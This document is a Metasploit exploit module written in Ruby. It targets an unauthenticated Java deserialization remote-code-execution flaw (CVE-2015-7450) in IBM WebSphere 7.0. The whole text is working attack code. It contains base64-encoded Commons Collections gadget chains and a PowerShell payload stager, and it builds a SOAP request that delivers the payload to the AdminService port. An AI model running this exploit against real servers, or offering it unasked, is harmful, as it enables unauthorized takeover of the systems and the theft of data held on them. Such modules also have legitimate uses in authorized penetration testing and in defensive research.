IBM WebSphere – RCE Java Deserialization (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell def initialize(info={}) super(update_info(info, 'Name' => "IBM WebSphere RCE Java Deserialization Vulnerability", 'Description' => %q{ This module exploits a vulnerability in IBM's WebSphere Application Server. An unsafe deserialization call of unauthenticated Java objects exists to the Apache Commons Collections (ACC) library, which allows remote arbitrary code execution. Authentication is not required in order to exploit this vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'Liatsis Fotios @liatsisfotios' # Metasploit Module # Thanks for helping me: # # # # # # # # # # # # # Kyprianos Vasilopoulos @kavasilo # Implemented and reviewed - Metasploit module # Dimitriadis Alexios @AlxDm_ # Assistance and code check # Kotsiopoulos Panagiotis # Guidance about Size and Buffer implementation ], 'References' => [ ['CVE', '2015-7450'], ['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'], ['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'], ['URL', 'https://www.tenable.com/plugins/index.php?view=single&id=87171'] ], 'Platform' => 'win', 'Targets' => [ [ 'IBM WebSphere 7.0.0.0', {} ] ], 'DisclosureDate' => "Nov 6 2015", 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => true, 'WfsDelay' => 20 })) register_options([ OptString.new('TARGETURI', [true, 'The base IBM\'s WebSphere SOAP path', '/']), Opt::RPORT('8880') ], self.class) end def exploit # Decode - Generate - Set Payload / Send SOAP Request soap_request(set_payload) end def set_payload # CommonCollections1 Serialized Streams ccs_start = "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQ=" ccs_end = "dAAEZXhlY3VxAH4AHgAAAAFxAH4AI3NxAH4AEXNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAEHcIAAAAEAAAAAB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhwcQB+ADo=" # Generate Payload payload_exec = invoke_ccs(ccs_start) + gen_payload + invoke_ccs(ccs_end) payload_exec = Rex::Text.encode_base64(payload_exec) end def invoke_ccs(serialized_stream) # Decode Serialized Streams serialized_stream = Rex::Text.decode_base64(serialized_stream) end def gen_payload # Staging Native Payload exec_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first) exec_cmd = exec_cmd.gsub("%COMSPEC% /b /c start /b /min ", "") # Size up RCE - Buffer cmd_lng = exec_cmd.length lng2str = "0" + cmd_lng.to_s(16) buff = [lng2str].pack("H*") rce_pld = buff + exec_cmd end def soap_request(inject_payload) # SOAP Request req = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n" req += "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">" + "\r\n" req += "<SOAP-ENV:Header xmlns:ns0=\"admin\" ns0:WASRemoteRuntimeVersion=\"7.0.0.0\" ns0:JMXMessageVersion=\"1.0.0\" ns0:SecurityEnabled=\"true\" ns0:JMXVersion=\"1.2.0\">" + "\r\n" req += "<LoginMethod>BasicAuth</LoginMethod>" + "\r\n" req += "</SOAP-ENV:Header>" + "\r\n" req += "<SOAP-ENV:Body>" + "\r\n" req += "<ns1:getAttribute xmlns:ns1=\"urn:AdminService\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" + "\r\n" req += "<objectname xsi:type=\"ns1:javax.management.ObjectName\">" + inject_payload + "</objectname>" + "\r\n" req += "<attribute xsi:type=\"xsd:string\">ringBufferSize</attribute>" + "\r\n" req += "</ns1:getAttribute>" + "\r\n" req += "</SOAP-ENV:Body>" + "\r\n" req += "</SOAP-ENV:Envelope>" + "\r\n" uri = target_uri.path res = send_request_raw({ 'method' => 'POST', 'version' => '1.1', 'raw_headers' => "Content-Type: text/xml; charset=utf-8" + "\r\n" + "SOAPAction: \"urn:AdminService\"" + "\r\n", 'uri' => normalize_uri(uri), 'data' => req }) end end |